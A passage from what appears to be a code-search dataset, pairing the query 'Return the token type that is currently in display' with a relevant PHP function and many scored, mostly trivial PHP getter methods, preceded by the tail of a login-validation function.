\t$this->is_error = 'Your browser does not have Javascript enabled. Please enable Javascript and try again.';\n\t \t}\n\n \telseif( !$this->user_exists )\n \t{\n\t \t$this->is_error = 'The login details you provided were invalid.';\n\t \t}\n\n \telseif( !$this->user_info['user_enabled'] )\n \t{\n\t \t$this->is_error = 'The useristrator has disabled your account.';\n\t \t}\n\n \telseif( $this->user_password_crypt($_POST['password']) != $this->user_info['user_password'] )\n \t{\n\t \t$this->is_error = 'The login details you provided were invalid.';\n\t \t}\n\n \telse\n \t{\n\n // UPDATE user last login\n $database->db_query(\"UPDATE \".TBL_USER.\" SET user_lastvisitDate='%s' WHERE user_username='%s'\", $datetime->timestampToDateTime(), $this->user_info['user_username']);\n \t\t$this->user_setCookies();\n\t \t}\n\t \treturn;\n\t}", "title": "" } ]
7e9fe44143190f2b15bfe867927da3f7
Return the token type that is currently in display
[ { "docid": "cec12368d67879c37246e9aab1dcbb34", "score": "0.72464955", "text": "function getCurrentToken()\r\n {\r\n //self::error('Entering getCurrentToken');\r\n $tokenData = $this->getTokenDisplay();\r\n //self::error('Got Token Data');\r\n //See if there is token present\r\n if (isset($tokenData)) {\r\n return $tokenData['card_type_arg'];\r\n } else {\r\n return 0;\r\n }\r\n }", "title": "" } ]
[ { "docid": "269d37e1b72003e7b84ef0a0eb064a69", "score": "0.7763181", "text": "protected function getTokenType() {\n static $token_type;\n\n if (empty($token_type)) {\n $table_data = views_fetch_data($this->table);\n $token_type = str_replace('_', '-', $table_data['table']['entity type']);\n }\n\n // Hardcode the pattern for taxonomy terms.\n if ($token_type == 'taxonomy-term') {\n $token_type = 'term';\n }\n return $token_type;\n }", "title": "" }, { "docid": "88af52eb5b8a8fb3ebdc1313bf8fadc2", "score": "0.76387084", "text": "public function getTokenType(): string\n {\n return $this->tokenType;\n }", "title": "" }, { "docid": "7fad3e5d19e5bcbeb59d2fc5c9d34218", "score": "0.7384261", "text": "public function getTokenType()\n {\n return $this->tokenType;\n }", "title": "" }, { "docid": "e64ae2a9a282080b758ca7f81c9b0590", "score": "0.71858597", "text": "public function getTokenType() \n {\n return $this->_fields['TokenType']['FieldValue'];\n }", "title": "" }, { "docid": "151854f1a0e79073f7860f8815f11172", "score": "0.71720344", "text": "protected function getType()\n {\n $token = Token::TOK_INVALID;\n if ($this->stream->read()) {\n $this->log(sprintf(\"Checking token type '%s'\", $this->stream->getChar()));\n switch (true) {\n case $this->stream->is(Script::VARIABLE_IDENTIFIER):\n $token = Token::TOK_VARIABLE;\n break;\n case $this->stream->is(Script::FUNCTION_IDENTIFIER):\n $token = Token::TOK_FUNCTION;\n break;\n case static::TOKENIZE_PARAMETER === $this->tok && $this->stream->is([Script::PARAM_QUOTE, Script::PARAM_QUOTE_SINGLE]):\n // is this first occurance of quote?\n if (null === $this->quote) {\n $this->quote = $this->stream->getChar();\n $this->log(sprintf(\"Got quote '%s'\", $this->quote));\n // advance start if next type is function\n switch ($token = $this->getType()) {\n case Token::TOK_FUNCTION:\n $this->start++;\n break;\n }\n } else {\n // no, just treat as text\n $token = Token::TOK_TEXT;\n $this->data = $this->stream->getChar();\n }\n break;\n default:\n $token = Token::TOK_TEXT;\n $this->data = $this->stream->getChar();\n break;\n }\n }\n return $token;\n }", "title": "" }, { "docid": "890104a22c1fe76b23a63c8854632eda", "score": "0.7103821", "text": "public function getName() {\n\t\t$type = $this->type;\n\n\t\tif (! empty(static::$customTokens[$type])) {\n\t\t\treturn static::$customTokens[$type];\n\t\t}\n\n\t\t$name = token_name($type);\n\n\t\tif ($name === static::$unknownTokenName) {\n\t\t\t$name = 'UNKNOWN(' . $type. ')';\n\t\t}\n\n\t\treturn $name;\n\t}", "title": "" }, { "docid": "a931186071f24e6fd1c19e9c35d3eab6", "score": "0.68944097", "text": "public function getTokenType()\n {\n return $this->TokenType;\n }", "title": "" }, { "docid": "46e8d8f6cc8760582726ecd1268103cc", "score": "0.6816143", "text": "public function getTokenTypeHint()\r\n {\r\n return $this->tokenTypeHint;\r\n }", "title": "" }, { "docid": "6e6e4c1cd7c2b277bc0d0274e2f208d0", "score": "0.6508576", "text": "public function get_type_text()\n {\n return (isset(self::$_types[$this->type]) ? self::$_types[$this->type] : NULL);\n }", "title": "" }, { "docid": "e11bd74b7220368c1b42a4bbea2590ab", "score": "0.6487217", "text": "public function get_type() {\n return $this->controller->get_type();\n }", "title": "" }, { "docid": "4afc672a897dfdc245585bce273beee4", "score": "0.63833404", "text": "private function getType(): string\n {\n return $this->type;\n }", "title": "" }, { "docid": "2c9742bb1d89e3f3a05bf5535f0b2636", "score": "0.63724697", "text": "public function getType()\n {\n return isset($this->type) ? $this->type : '';\n }", "title": "" }, { "docid": "f5f8035c827b3f44188f00c588c4e91a", "score": "0.6364708", "text": "public function type() {\n\t\treturn self::typeDescription($this->type);\n\t}", "title": "" }, { "docid": "7a2b98b71ae94c010dac0b8d19f1dd7d", "score": "0.6364369", "text": "public function getType()\n\t{\n\t\treturn $this->getViewState('Type','d');\n\t}", "title": "" }, { "docid": "b8a1dbb54b115e9cf95a0c05f60588bf", "score": "0.6344817", "text": "public function getType()\n {\n if(!$this->type) $this->type = \"\";\n return $this->type;\n }", "title": "" }, { "docid": "27d3bfa643b4b83b5d0edbb270ff6a32", "score": "0.6340106", "text": "public function get_type();", "title": "" }, { "docid": "8031f22b9c423b4e72600c947ce1363b", "score": "0.63214433", "text": "public function type()\n\t{\n\t\treturn $this->type;\n\t}", "title": "" }, { "docid": "f0306773d43b5ac905b94145d48d1836", "score": "0.632101", "text": "public function type(): string\n {\n return $this->type;\n }", "title": "" }, { "docid": "f0306773d43b5ac905b94145d48d1836", "score": "0.632101", "text": "public function type(): string\n {\n return $this->type;\n }", "title": "" }, { "docid": "f0306773d43b5ac905b94145d48d1836", "score": "0.632101", "text": "public function type(): string\n {\n return $this->type;\n }", "title": "" }, { "docid": "f0306773d43b5ac905b94145d48d1836", "score": "0.632101", "text": "public function type(): string\n {\n return $this->type;\n }", "title": "" }, { "docid": "10ce3107ad9026b7ddcbf8b6016adde7", "score": "0.6306522", "text": "public function type()\n {\n return $this->type;\n }", "title": "" }, { "docid": "10ce3107ad9026b7ddcbf8b6016adde7", "score": "0.6306522", "text": "public function type()\n {\n return $this->type;\n }", "title": "" }, { "docid": "10ce3107ad9026b7ddcbf8b6016adde7", "score": "0.6306522", "text": "public function type()\n {\n return $this->type;\n }", "title": "" }, { "docid": "4c6e885bdb989426b12fc071218ffa29", "score": "0.63030803", "text": "public function type()\r\n\t{\r\n\t\treturn $this->type;\r\n\t}", "title": "" }, { "docid": "16daefe0fcd15a55c9ce4072a8eb6915", "score": "0.62972933", "text": "public function type()\n {\n return $this->_type;\n }", "title": "" }, { "docid": "e1484490ca5426dfe37d8d0c3aed6b61", "score": "0.6291871", "text": "public function type() : string {\n return $this->type;\n }", "title": "" }, { "docid": "984efb4191d8f2b915ff7dc6386cd6c7", "score": "0.6283928", "text": "public function token()\n {\n return $this->currentToken;\n }", "title": "" }, { "docid": "4f2ba7cc30295944a83f62b5561db45a", "score": "0.6283504", "text": "public function type()\r\n {\r\n return $this->type;\r\n }", "title": "" }, { "docid": "fd2fd7b7233ab31c4b70e29c7710542e", "score": "0.6273134", "text": "public function getTokenClass(): string|Data|null\n {\n return $this->data['token_class'];\n }", "title": "" }, { "docid": "b6c26515d041448096854157462c2f84", "score": "0.62536424", "text": "static public function type()\n {\n return static::$type;\n }", "title": "" }, { "docid": "e53861bd4717125a677707a3a8b52019", "score": "0.62534505", "text": "public function get_current_token() {\n\t\treturn ($this->token);\n\t}", "title": "" }, { "docid": "6be5ec74b27a9031a08d27f9896d78db", "score": "0.62532514", "text": "public function type() {\n return $this->type;\n }", "title": "" }, { "docid": "7a13eecc9edb16f0cf8cf8a66847abbd", "score": "0.62270963", "text": "final public function type()\n {\n return $this->type;\n }", "title": "" }, { "docid": "1b294da62c5833c5ece0b15d5087385c", "score": "0.6211055", "text": "function getTokenDisplay()\r\n {\r\n $result = self::getObjectFromDB( \"SELECT card_type, card_type_arg, card_id \r\n\t\t\t\t \t\t\t FROM anitokens\r\n\t\t\t\t\t\t\t WHERE card_location = 'display'\" );\r\n return $result;\r\n }", "title": "" }, { "docid": "6855bba2e4004f81c60a5eeb99d72c01", "score": "0.6193498", "text": "public static function type(): string;", "title": "" }, { "docid": "f77d5bf6e2c6549028038fdb21772cf4", "score": "0.61880094", "text": "public function getType() {\n $return = $this->type;\n return $return;\n }", "title": "" }, { "docid": "edc7dd663567cd518832906cd309f06e", "score": "0.6185539", "text": "public function type(): string;", "title": "" }, { "docid": "edc7dd663567cd518832906cd309f06e", "score": "0.6185539", "text": "public function type(): string;", "title": "" }, { "docid": "994d186df33047177bc20eb342ffde77", "score": "0.61855", "text": "public function type() {\n return $this->type;\n }", "title": "" }, { "docid": "9d33a07a7285457e25c3939f721cb85e", "score": "0.6181965", "text": "protected function getType() {\n return self::$type;\n }", "title": "" }, { "docid": "f7a52d5519294ca63e41488b4da04226", "score": "0.6181037", "text": "public function getName()\n {\n return 'token';\n }", "title": "" }, { "docid": "399416775e2fd2bb442fe9dc470d044e", "score": "0.61772877", "text": "public function getType()\n {\n return $this->get(self::TYPE);\n }", "title": "" }, { "docid": "399416775e2fd2bb442fe9dc470d044e", "score": "0.61772877", "text": "public function getType()\n {\n return $this->get(self::TYPE);\n }", "title": "" }, { "docid": "399416775e2fd2bb442fe9dc470d044e", "score": "0.61772877", "text": "public function getType()\n {\n return $this->get(self::TYPE);\n }", "title": "" }, { "docid": "74403da5c0df7bdfac8dd744430740b7", "score": "0.6158462", "text": "public function getType()\n {\n return (string) $this->get('type');\n }", "title": "" }, { "docid": "8cef2fa352b044780e5303cd93ee98e8", "score": "0.61547047", "text": "public static function getType(): string;", "title": "" }, { "docid": "fe28132911ea77617593b07722aef9a3", "score": "0.61486965", "text": "Public function get_token ( ) {\n return $this->token;\n }", "title": "" }, { "docid": "46b43160d62cb7250319b94b15633384", "score": "0.6147668", "text": "public function getType()\n {\n \treturn $this->type;\n }", "title": "" }, { "docid": "6e2f2e3b49d2ccee81d66862f9c8003b", "score": "0.6145312", "text": "public function type()\n {\n return get('type', $this->stream);\n }", "title": "" }, { "docid": "9f5c755a65d5bb4c962e28defb24d2a4", "score": "0.61402583", "text": "public final function get_type() {\n\t\treturn $this->type;\n\t}", "title": "" }, { "docid": "b1a23e84ac416ef7efa45ec6d5f8797d", "score": "0.6138844", "text": "public function type() : string;", "title": "" }, { "docid": "57f8f47916f5fdc8817d01f70a517547", "score": "0.6121001", "text": "public function getTokenType()\n {\n return TOKEN_COMMENT;\n }", "title": "" }, { "docid": "158306896d43cc49f136f882f0d930f0", "score": "0.6119415", "text": "protected static function get_current_post_type() {\n\n\t\t\tif ( function_exists( 'get_current_screen' ) && is_object( get_current_screen() ) && 'edit' === get_current_screen()->base ) {\n\t\t\t\treturn get_current_screen()->post_type;\n\t\t\t} else {\n\t\t\t\treturn '';\n\t\t\t}\n\n\t\t}", "title": "" }, { "docid": "8aaeffbf326890ef3ee025fa893d0df9", "score": "0.61177087", "text": "public function getType() : string\n {\n return $this->type;\n }", "title": "" }, { "docid": "8aaeffbf326890ef3ee025fa893d0df9", "score": "0.61177087", "text": "public function getType() : string\n {\n return $this->type;\n }", "title": "" }, { "docid": "d0e2cf62a2917ee917ae32ad4d6ffc7b", "score": "0.61173666", "text": "public function type();", "title": "" }, { "docid": "d0e2cf62a2917ee917ae32ad4d6ffc7b", "score": "0.61173666", "text": "public function type();", "title": "" }, { "docid": "d0e2cf62a2917ee917ae32ad4d6ffc7b", "score": "0.61173666", "text": "public function type();", "title": "" }, { "docid": "d0e2cf62a2917ee917ae32ad4d6ffc7b", "score": "0.61173666", "text": "public function type();", "title": "" }, { "docid": "d0e2cf62a2917ee917ae32ad4d6ffc7b", "score": "0.61173666", "text": "public function type();", "title": "" }, { "docid": "d0e2cf62a2917ee917ae32ad4d6ffc7b", "score": "0.61173666", "text": "public function type();", "title": "" }, { "docid": "d0e2cf62a2917ee917ae32ad4d6ffc7b", "score": "0.61173666", "text": "public function type();", "title": "" }, { "docid": "82868cfe5e030f80c26edf1057803ba9", "score": "0.61149764", "text": "public function getType ()\n {\n return $this->type;\n }", "title": "" }, { "docid": "3380a269514ec7f0de3d4c3fabb7d14d", "score": "0.61084855", "text": "public function getType(): string\n {\n $types = $this->getTypes();\n\n return $types[$this->type];\n }", "title": "" }, { "docid": "0704220a50923c875c5fe596c72297a3", "score": "0.61051524", "text": "public function token() {\n return $this->$token;\n }", "title": "" }, { "docid": "396da850addedd369ec4c3ff5dcafc57", "score": "0.60996044", "text": "protected function currentToken(string $type) : Token\n {\n $unit = parent::currentToken($type);\n $unit->source = $this->source;\n $unit->stringNum = $this->currentStringNum;\n $unit->colNum = $this->currentColNum;\n return $unit;\n }", "title": "" }, { "docid": "1683704db1139f15a8037b9aab1f19dc", "score": "0.60847807", "text": "public function getType()\n {\n return $this->_data['type'];\n }", "title": "" }, { "docid": "9bd33c57e6368152cc13df47ca96f789", "score": "0.6082455", "text": "public function getType(): string\n {\n return $this->type;\n }", "title": "" }, { "docid": "9bd33c57e6368152cc13df47ca96f789", "score": "0.6082455", "text": "public function getType(): string\n {\n return $this->type;\n }", "title": "" }, { "docid": "9bd33c57e6368152cc13df47ca96f789", "score": "0.6082455", "text": "public function getType(): string\n {\n return $this->type;\n }", "title": "" }, { "docid": "9bd33c57e6368152cc13df47ca96f789", "score": "0.6082455", "text": "public function getType(): string\n {\n return $this->type;\n }", "title": "" }, { "docid": "9bd33c57e6368152cc13df47ca96f789", "score": "0.6082455", "text": "public function getType(): string\n {\n return $this->type;\n }", "title": "" }, { "docid": "9bd33c57e6368152cc13df47ca96f789", "score": "0.6082455", "text": "public function getType(): string\n {\n return $this->type;\n }", "title": "" }, { "docid": "9bd33c57e6368152cc13df47ca96f789", "score": "0.6082455", "text": "public function getType(): string\n {\n return $this->type;\n }", "title": "" }, { "docid": "9bd33c57e6368152cc13df47ca96f789", "score": "0.6082455", "text": "public function getType(): string\n {\n return $this->type;\n }", "title": "" }, { "docid": "9bd33c57e6368152cc13df47ca96f789", "score": "0.6082455", "text": "public function getType(): string\n {\n return $this->type;\n }", "title": "" }, { "docid": "9bd33c57e6368152cc13df47ca96f789", "score": "0.6082455", "text": "public function getType(): string\n {\n return $this->type;\n }", "title": "" }, { "docid": "9bd33c57e6368152cc13df47ca96f789", "score": "0.6082455", "text": "public function getType(): string\n {\n return $this->type;\n }", "title": "" }, { "docid": "9bd33c57e6368152cc13df47ca96f789", "score": "0.6082455", "text": "public function getType(): string\n {\n return $this->type;\n }", "title": "" }, { "docid": "3f34f7ef16fa03aa97426e010c111aaa", "score": "0.6077676", "text": "public function getType()\n\t{\n\n\t\treturn $this->type;\n\t}", "title": "" }, { "docid": "3b94d06f29390df8002db46a71d9ca37", "score": "0.6073371", "text": "public static function type()\n \t{\n \t\treturn self::$typeList;\n \t}", "title": "" }, { "docid": "ff0944355da1e43c005961e4a8807589", "score": "0.6072327", "text": "public function get_type() {\n\t\treturn $this->type;\n\t}", "title": "" }, { "docid": "ff0944355da1e43c005961e4a8807589", "score": "0.6072327", "text": "public function get_type() {\n\t\treturn $this->type;\n\t}", "title": "" }, { "docid": "34aa31d7db8c090a5d7a9e204dec1059", "score": "0.60670984", "text": "function get_type();", "title": "" }, { "docid": "53d58fe4b61514f2529dd6a949f68194", "score": "0.60662436", "text": "public function getType(): string\n\t{\n\t\treturn $this->type;\n\t}", "title": "" }, { "docid": "fc8f8e31536f4e4181084efed3f657ab", "score": "0.60640407", "text": "public function getType()\r\n\t{\r\n\r\n\t\treturn $this->type;\r\n\t}", "title": "" }, { "docid": "8609a0d1e9b7d87feb63942c0f74727f", "score": "0.60583663", "text": "public function getType()\n\t{\n\t\treturn $this->type;\n\t}", "title": "" }, { "docid": "8609a0d1e9b7d87feb63942c0f74727f", "score": "0.60583663", "text": "public function getType()\n\t{\n\t\treturn $this->type;\n\t}", "title": "" }, { "docid": "8609a0d1e9b7d87feb63942c0f74727f", "score": "0.60583663", "text": "public function getType()\n\t{\n\t\treturn $this->type;\n\t}", "title": "" }, { "docid": "8609a0d1e9b7d87feb63942c0f74727f", "score": "0.60583663", "text": "public function getType()\n\t{\n\t\treturn $this->type;\n\t}", "title": "" }, { "docid": "8609a0d1e9b7d87feb63942c0f74727f", "score": "0.60583663", "text": "public function getType()\n\t{\n\t\treturn $this->type;\n\t}", "title": "" }, { "docid": "8609a0d1e9b7d87feb63942c0f74727f", "score": "0.60583663", "text": "public function getType()\n\t{\n\t\treturn $this->type;\n\t}", "title": "" }, { "docid": "8609a0d1e9b7d87feb63942c0f74727f", "score": "0.60583663", "text": "public function getType()\n\t{\n\t\treturn $this->type;\n\t}", "title": "" }, { "docid": "8609a0d1e9b7d87feb63942c0f74727f", "score": "0.60583663", "text": "public function getType()\n\t{\n\t\treturn $this->type;\n\t}", "title": "" }, { "docid": "8609a0d1e9b7d87feb63942c0f74727f", "score": "0.60583663", "text": "public function getType()\n\t{\n\t\treturn $this->type;\n\t}", "title": "" }, { "docid": "4287fb33ff7959367aa54209cc337e4c", "score": "0.60580456", "text": "public function get_type()\n {\n return $this->param['typ'];\n }", "title": "" }, { "docid": "55952c10530c0b54679e267c295df6cf", "score": "0.6055822", "text": "function getLoginPageElementType()\n\t{\n\t\tif (is_object($this->res_node))\n\t\t{\n\t\t\treturn $this->res_node->get_attribute('Type');\n\t\t}\n\t}", "title": "" }, { "docid": "75ccfab48b7aeab3ff0ebcbd3e1c0d2f", "score": "0.60552275", "text": "public static function type(): string\n {\n if (!self::$found) {\n self::detectAgent();\n }\n return self::$found['type'];\n }", "title": "" }, { "docid": "a479c99a9b47c62f7651bd9669105497", "score": "0.6050164", "text": "public function getType()\r\n\t{\r\n\t\treturn $this->type;\r\n\t}", "title": "" } ]
26d71a0b0829d496c8e6bbe23ccaa28a
Display a listing of the resource.
[ { "docid": "145789923078f1a3bda0e58bfe67a4c6", "score": "0.0", "text": "public function index()\n {\n return view('backend.admin.portfolio.experiences.list');\n }", "title": "" } ]
[ { "docid": "5861cea867a044b99c733c7fc0cf842d", "score": "0.7446777", "text": "public function indexAction()\n {\n $limit = $this->Request()->getParam('limit', 1000);\n $offset = $this->Request()->getParam('start', 0);\n $sort = $this->Request()->getParam('sort', array());\n $filter = $this->Request()->getParam('filter', array());\n\n $result = $this->resource->getList($offset, $limit, $filter, $sort);\n\n $this->View()->assign($result);\n $this->View()->assign('success', true);\n }", "title": "" }, { "docid": "79ad7ebbde0cad2af3c2becbd440dc9d", "score": "0.736227", "text": "public function listing();", "title": "" }, { "docid": "7a5b125a32b352dacaa7e8c3af43240f", "score": "0.73005503", "text": "function index() {\n\t\t$this->show_list();\n\t}", "title": "" }, { "docid": "223999e9a02d01dc0cad36705dec31b1", "score": "0.72478926", "text": "public function actionList() {\n $this->_getList();\n }", "title": "" }, { "docid": "67b6a083832b5635058184478e56e362", "score": "0.71631265", "text": "public function listAction()\n {\n $model = $this->_getPhotoModel();\n $entries = $model->fetchEntries($this->_getParam('page', 1));\n\n $this->view->url = 'http://' . $this->_request->getHttpHost() . $this->_request->getBaseUrl(); \n $this->view->paginator = $entries;\n }", "title": "" }, { "docid": "0c1c05b10bf815899517dfe1749b5cf3", "score": "0.71489686", "text": "public function index()\n {\n $items = Item::all();\n return ItemForShowResource::collection($items);\n }", "title": "" }, { "docid": "b6a5ca1df2d5a43bd0318ff90e9ff1ed", "score": "0.7131636", "text": "public function index()\n {\n return Resource::collection(($this->getModel())::paginate(10));\n }", "title": "" }, { "docid": "574374ad86f6e7e0d25edb82d6f43e27", "score": "0.7105969", "text": "function index()\n\t{\n\t\t$this->_list();\n\t\t$this->display();\n\t}", "title": "" }, { "docid": "87788fdf7ded1829388fd3b6863292b3", "score": "0.71029514", "text": "public function listingAction(){\n if (!LoginHelper::isAdmin()){\n Router::redirect('home', '<p class=\"alert alert-danger\">Unauthorized</p>');\n }\n $this->view->render('patient/list', Patient::all());\n }", "title": "" }, { "docid": "ffa7427801c492f4d9132e00a5317999", "score": "0.7101372", "text": "public function index()\n {\n //\n $list = $this->obj->all();\n\n return $this->render('index', compact('list'));\n }", "title": "" }, { "docid": "3176cd2a3f20702c7789c284381b46cc", "score": "0.70508176", "text": "public function action_index()\n\t{\n\t\t$this->template->title = 'Resources';\n\t\t$this->view = View::factory('admin/resource/index');\n\t\t$this->template->scripts[] = 'media/js/jquery.tablesorter.min.js';\n\t\t$this->template->scripts[] = 'media/js/admin/resource.js';\n\t\t\n\t\t$resources = Sprig::factory('resource')->load(NULL, FALSE);\n\t\tif (!empty($resources))\n\t\t{\n\t\t\t$this->view->resources = $resources->as_array();\n\t\t}\n\t}", "title": "" }, { "docid": "7558f18901b7c5821f0cd55c8e28aa45", "score": "0.6995128", "text": "function listing()\n\t\t{\n\t\t// en $this->_view->_listado para poder acceder a el desde la vista.\n\t\t\t$this->_view->_listado = $listado = $this->_instrumentoModel->getInstrumento();\n\t\t\t$this->_view->render('listing', '', '',$this->_sidebar_menu);\n\t\t}", "title": "" }, { "docid": "11a6b2ed27bf6f792f2f1d9d4fde52d5", "score": "0.69890636", "text": "public function listAction()\n {\n $em = $this->getDoctrine()->getManager();\n \n $todos = $em->getRepository(Todo::class)->findAll();\n \n return $this->render('todo/index.html.twig', array(\n 'todos' => $todos,\n ));\n }", "title": "" }, { "docid": "d7b682e2a6278385910e3a975bd46866", "score": "0.6934895", "text": "public function index()\n\t{\n $this->authorize('list', Instance::class);\n\n\t\treturn $this->ok($this->repo->paginate($this->request->all()));\n\t}", "title": "" }, { "docid": "ba32632e29f18b2bf877cc90eaa90971", "score": "0.6900203", "text": "public function actionRestList() {\n\t $this->doRestList();\n\t}", "title": "" }, { "docid": "36955fa3c60d113825196d271e89779e", "score": "0.6899281", "text": "public function listing()\n\t{\n\t\t$hospitalID = $this->request->getSession()->read(\"hospital_id\") ? $this->request->getSession()->read(\"hospital_id\") : \"\";\n\t\t\n\t\t$patientMonitored = 1;\n\t\t$patientActive = 1;\n\t\t\n\t\t//GET ALL PATIENTS\n\t\t$patientsData = $this->Patients->allPatients($hospitalID,$patientMonitored,$patientActive);\n\t\t//GET ALL PATIENTS\n\t\t\n\t\t//echo \"<pre>\"; print_r($patientsData);die;\n\t\t$this->set(compact(\"patientsData\"));\n\t}", "title": "" }, { "docid": "4df8e01a674464bb5c8a362c1435333f", "score": "0.6891734", "text": "public function listAction()\n {\n $htmlpage = '<!DOCTYPE html>\n<html>\n <head>\n <meta charset=\"UTF-8\">\n <title>todos list!</title>\n </head>\n <body>\n <h1>todos list</h1>\n <p>Here are all your todos:</p>\n <ul>';\n \n $em = $this->getDoctrine()->getManager();\n $todos = $em->getRepository(Todo::class)->findAll();\n foreach($todos as $todo) {\n $htmlpage .= '<li>\n <a href=\"/todo/'.$todo->getid().'\">'.$todo->getTitle().'</a></li>';\n }\n $htmlpage .= '</ul>';\n\n $htmlpage .= '</body></html>';\n \n return new Response(\n $htmlpage,\n Response::HTTP_OK,\n array('content-type' => 'text/html')\n );\n }", "title": "" }, { "docid": "caf564f7eb2baa738794be4dab8bfc1a", "score": "0.6887235", "text": "public function index()\n {\n // Get Persons\n $person = Person::paginate(10);\n\n //Return collection of person as a resource\n return PersonResource::collection($person);\n }", "title": "" }, { "docid": "638df6519c658b92ec12faad7c6bfe27", "score": "0.68670005", "text": "public function listAction() {\n\t\t$this->view->title = $this->translator->translate(\"Invoice list\");\n\t\t$this->view->description = $this->translator->translate(\"Here you can see all the invoices.\");\n\t\t$this->view->buttons = array(array(\"url\" => \"/admin/invoices/new/\", \"label\" => $this->translator->translate('New'), \"params\" => array('css' => null)));\r\n\t\t$this->datagrid->setConfig ( Invoices::grid() )->datagrid ();\n\t}", "title": "" }, { "docid": "5d644b7cefd46539deb2daa4d92b4eeb", "score": "0.6849741", "text": "public function listAll()\n\t{\n\t\t$this->render(self::PATH_VIEWS . '/list', [\n\t\t\t'pages' => $this->pagesDb->findAll('id', 'DESC'),\n\t\t]);\n\t}", "title": "" }, { "docid": "13cf03f3d35306a196b20d98fb7dd73f", "score": "0.6830523", "text": "public function list()\n {\n // récupérer les données : toutes les catégories enregistrées\n $productList = Product::findAll();\n\n $this->show('product/list', [\n 'productList' => $productList\n ]);\n }", "title": "" }, { "docid": "dbb1400cabaa16bba845c69fe3250595", "score": "0.6802689", "text": "public function index()\n {\n // CRUD -> Retrieve --> List\n // BREAD -> Browse Read Edit Add Delete\n // return Item::all();\n return view('list_items',compact('items'));\n }", "title": "" }, { "docid": "19d0fc2ce4a5afeb9eeff5c770208b5a", "score": "0.6797", "text": "public function index()\n {\n // Get manufacturers\n $manufacturers = Manufacturer::orderBy('created_at', 'desc')->paginate(15);\n\n // Return collection of manufacturers as a resource\n return ManufacturerResource::collection($manufacturers);\n }", "title": "" }, { "docid": "6d9e9884f0172b86d37a90b3aed99107", "score": "0.67957735", "text": "public function index()\n {\n return ArtistResource::collection(Artist::orderBy('created_at', 'desc')->get());\n }", "title": "" }, { "docid": "c20114ab29ed59985c206dac3ce8bd35", "score": "0.67871135", "text": "public function indexAction() {\n\t\t$page = intval($this->getInput('page'));\n\t\t$perpage = $this->perpage;\n\t\t\n\t\tlist(,$files) = Lock_Service_FileType::getAllFileType();\n\t\t$data = array();\n\t\tforeach ($files as $key=>$value) {\n\t\t\t$data[$key]['id'] = $value['id'];\n\t\t\t$data[$key]['title'] = $value['name'];\n\t\t}\n\t\tlist($total, $filetype) = Lock_Service_FileType::getList($page, $perpage);\n\t\t$this->assign('filetype', $filetype);\n\t\t$this->assign('pager', Common::getPages($total, $page, $perpage, $this->actions['listUrl'].'/?'));\n\t\t$this->assign('data', json_encode($data));\n\t}", "title": "" }, { "docid": "e2151b2161126a5b12c1ea8433f5c361", "score": "0.6760129", "text": "public function listAction()\n {\n $qb = $this->getRepository()->queryAll();\n\n $view = new ImportListView;\n $view->imports = $qb->getQuery()->execute();\n\n return $this->templating->renderResponse('InfiniteImportBundle:Import:list.html.twig', array(\n 'data' => $view\n ));\n }", "title": "" }, { "docid": "13fada7c45059bcdf0cc54b68e5eee96", "score": "0.67427456", "text": "public function index()\n\t{\n\t\t//Return model all()\n\t\t$instances = $this->decorator->getListingModels();\n\n\t\treturn View::make($this->listingView, array(\n\t\t\t'instances' => $instances,\n\t\t\t'controller' => get_class($this), \n\t\t\t'modelName' => class_basename(get_class($this->decorator->getModel())),\n\t\t\t'columns' => $this->getColumnsForInstances($instances),\n\t\t\t'editable' => $this->editable\n\t\t));\n\t}", "title": "" }, { "docid": "1c820cfe822082fa17bdac70b0c8069b", "score": "0.6730486", "text": "public function index()\n {\n return InfografiResources::collection(\n Infografi::orderBy('date', 'desc')->get()\n );\n }", "title": "" }, { "docid": "17f3cd4988f20f8325c593af544287ff", "score": "0.67272323", "text": "public function listAction()\n\t {\n\t\t\t$this->_forward('index');\n \n\t\t}", "title": "" }, { "docid": "c455819674d3f353cb9e20703ef52803", "score": "0.67255723", "text": "public function index()\n {\n $this->list_view();\n }", "title": "" }, { "docid": "c455819674d3f353cb9e20703ef52803", "score": "0.67255723", "text": "public function index()\n {\n $this->list_view();\n }", "title": "" }, { "docid": "c455819674d3f353cb9e20703ef52803", "score": "0.67255723", "text": "public function index()\n {\n $this->list_view();\n }", "title": "" }, { "docid": "df66698172beb3c9fa618e7cc289491a", "score": "0.67177945", "text": "public function listAction()\n {\n $defaults = array(\n 'page' => null,\n 'order' => null,\n 'limit' => null,\n 'offset' => null,\n 'filter' => array(),\n );\n $body = $this->getRequest()->getBody();\n $options = $body + $defaults;\n\n // Process the options\n if (is_string($options['order'])) {\n $options['order'] = array_map('trim', explode(',', $options['order']));\n }\n if (is_string($options['page'])) {\n $options['page'] = (int)$options['page'];\n }\n if (is_string($options['limit'])) {\n $options['limit'] = (int)$options['limit'];\n }\n if (is_string($options['offset'])) {\n $options['offset'] = (int)$options['offset'];\n }\n $filter = $options['filter'];\n unset($options['filter']);\n\n $options = array_filter($options);\n\n return $this->getBinding()->find($filter, $options);\n }", "title": "" }, { "docid": "ec8af10af41ea85fb114b36e622e73a2", "score": "0.6707866", "text": "public function index()\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n /* Get the resources from the model */\n $resources = $this->resourcesList($this->model);\n\n /* Sets the view */\n if (view()->exists(\"admin.{$this->name}.index\")) {\n $view = \"admin.{$this->name}.index\";\n } else {\n $view = 'admin.includes.actions.index';\n }\n\n /* Display a listing of the resources */\n return view($view)\n ->with('resources', $resources)\n ->with('module', $this->module);\n }", "title": "" }, { "docid": "6074016c2f84d6492878d055fdaf5f90", "score": "0.6706713", "text": "public function index()\n\t{\n\t\t$data['lists'] = $this->mdl_student->get_all();\n\t\t$this->template->set('title', 'Student Hostel List');\n\t\t$this->template->load('template', 'contents', 'student_hostel/student_hostel_list', $data);\n\t}", "title": "" }, { "docid": "21f9fb871a5fce67ff07d2b0391b84fe", "score": "0.6704375", "text": "public function index()\n {\n $modules = Module::all();\n return Resource::collection($modules);\n }", "title": "" }, { "docid": "4109cfb1ab66ca22734b6c4c872a2fb6", "score": "0.6664782", "text": "public function index()\n {\n // List all resources from user entity\n $users = User::all();\n\n return $this->showAll($users);\n }", "title": "" }, { "docid": "2ff5e05b9167e7eb31dff21e1b6c78dd", "score": "0.6662871", "text": "public function index()\n {\n // Get todos\n $todos = Todo::orderBy('created_at', 'desc')->paginate(3);\n\n // Return collection of articles as a resource\n return TodoResource::collection($todos);\n }", "title": "" }, { "docid": "57e718eb022c42e18c8c49846db00693", "score": "0.6660302", "text": "public function index()\n {\n return Resources::collection(Checking::paginate());\n }", "title": "" }, { "docid": 